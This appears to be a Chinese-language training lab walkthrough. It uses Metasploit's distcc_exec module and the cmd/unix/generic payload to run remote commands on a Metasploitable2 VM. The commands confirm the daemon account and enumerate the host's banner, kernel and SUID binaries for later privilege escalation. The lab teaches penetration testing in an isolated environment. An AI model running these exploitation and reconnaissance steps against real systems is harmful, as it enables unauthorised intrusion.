简介
在本实验中,你将使用 Metasploit 利用易受攻击的 Linux 目标上的 distcc 服务,确认你获得的远程执行上下文,并从该目标收集基本的系统信息。该工作流程在 Metasploit 模块提示符下一次运行一个远程命令,而不是建立交互式 shell 会话。
该目标上的 distcc 模块通过 cmd/unix/generic 进行远程命令执行非常可靠,但在此环境中它不会打开持久化的 shell。主要的学习目标是识别这种行为,验证每个命令是由哪个远程账户执行的,并继续通过后续命令对目标进行枚举。
准备环境
在此步骤中,我们将启动实验环境所需的组件,包括 Kali Linux 容器和 Metasploitable2 虚拟机。
- 通过在终端中执行以下命令来启动 Metasploitable2 虚拟机:
sudo virsh start Metasploitable2
等待目标机器启动,这可能需要 1-3 分钟。
- 通过 ping 目标 IP 地址来测试虚拟机是否已启动:
ping 192.168.122.102
按 Ctrl+C 停止 ping。
- 启动 Kali Linux 容器并进入其 bash shell:
docker run -ti --network host b5b709a49cd5 bash
- 在 Kali 容器内,通过 ping
target主机名来测试网络连通性:
ping 192.168.122.102
按 Ctrl+C 停止 ping。
获取目标机器的初始访问权限
在此步骤中,我们将使用 Kali 容器中的 Metasploit Framework (MSF) 来获取 Metasploitable2 目标机器的初始访问权限。
- 在 Kali 容器内,启动 Metasploit 控制台:
cd ~
msfconsole
- 在 Metasploit 控制台中,使用
distcc_exec漏洞利用模块:
use exploit/unix/misc/distcc_exec
- 将 payload 设置为通用远程命令执行。在此环境中,该模块不会打开稳定的交互式 shell,因此你应该一次运行一个远程命令:
set payload cmd/unix/generic
- 设置目标主机 IP 地址:
set RHOST 192.168.122.102
- 设置你想在目标上运行的第一个远程命令:
set CMD whoami
- 启动漏洞利用以在目标机器上运行该命令:
run
成功运行后,你应该会看到类似 192.168.122.102:3632 - stdout: daemon 的输出。该结果意味着命令是以 daemon 用户身份在远程 Metasploitable2 主机上运行的。
保持在 msf6 exploit(unix/misc/distcc_exec) > 提示符下进行后续步骤。对于每个新的远程命令,更新 CMD 并再次运行该模块。
验证当前用户权限
在获得远程命令执行权限后,我们需要检查目标用于执行命令的账户,以及它是否已经拥有提升的权限。
如果你退出了
distcc_exec模块提示符,请重复步骤 2 中的 Metasploit 设置,以便回到msf6 exploit(unix/misc/distcc_exec) >。将远程命令设置为检查当前用户:
set CMD whoami
- 运行该模块以在目标上执行命令:
run
- 将下一个远程命令设置为显示用户 ID 和组信息:
set CMD id
- 再次运行该模块:
run
如果输出显示 stdout: daemon 和 uid=1(daemon) gid=1(daemon),则说明漏洞利用是以 daemon 账户而非 root 身份远程执行命令的。你需要额外的权限提升技术才能进一步深入,但对于本实验,我们将专注于验证访问权限和收集侦察数据。
保持在同一个 Metasploit 模块提示符下进行下一步。
枚举系统信息
现在你已经确认了访问级别,请从目标系统收集一些详细信息,以便识别你入侵的是哪种主机。
如果你退出了
distcc_exec模块提示符,请重复步骤 2 中的 Metasploit 设置,以便回到msf6 exploit(unix/misc/distcc_exec) >。将远程命令设置为检查 Linux 发行版横幅信息:
set CMD "cat /etc/issue"
- 运行该模块:
run
以下是你可能从目标看到的输出示例:
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | | __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
- 将下一个远程命令设置为检查内核版本:
set CMD "uname -a"
- 再次运行该模块:
run
以下是你可能从目标看到的输出示例:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
- 将远程命令设置为查找可能对后续渗透分析有用的 SUID 文件:
set CMD "find / -perm -u=s -type f 2>/dev/null"
- 再运行一次该模块:
run
查看列表以了解目标上存在哪些特权二进制文件。具体条目可能会有所不同,但你应该能看到诸如 /usr/bin/sudo 和 /usr/bin/nmap 等路径。
检查完输出后,你可以使用 exit 退出 Metasploit。
总结
在本实验中,你启动了 LabEx 环境,使用 Metasploit Framework 利用了易受攻击的 distcc 服务,并通过 cmd/unix/generic 对 Metasploitable2 目标执行了远程命令。随后,你使用 whoami 和 id 验证了远程执行上下文,以便在运行后续命令之前确认漏洞利用所使用的账户。
你还通过检查发行版横幅、内核版本和可用的 SUID 二进制文件,从被入侵的主机收集了基本的系统信息。这些渗透后的检查对于确认你获得的访问权限以及规划对 Linux 目标的进一步枚举非常有用。



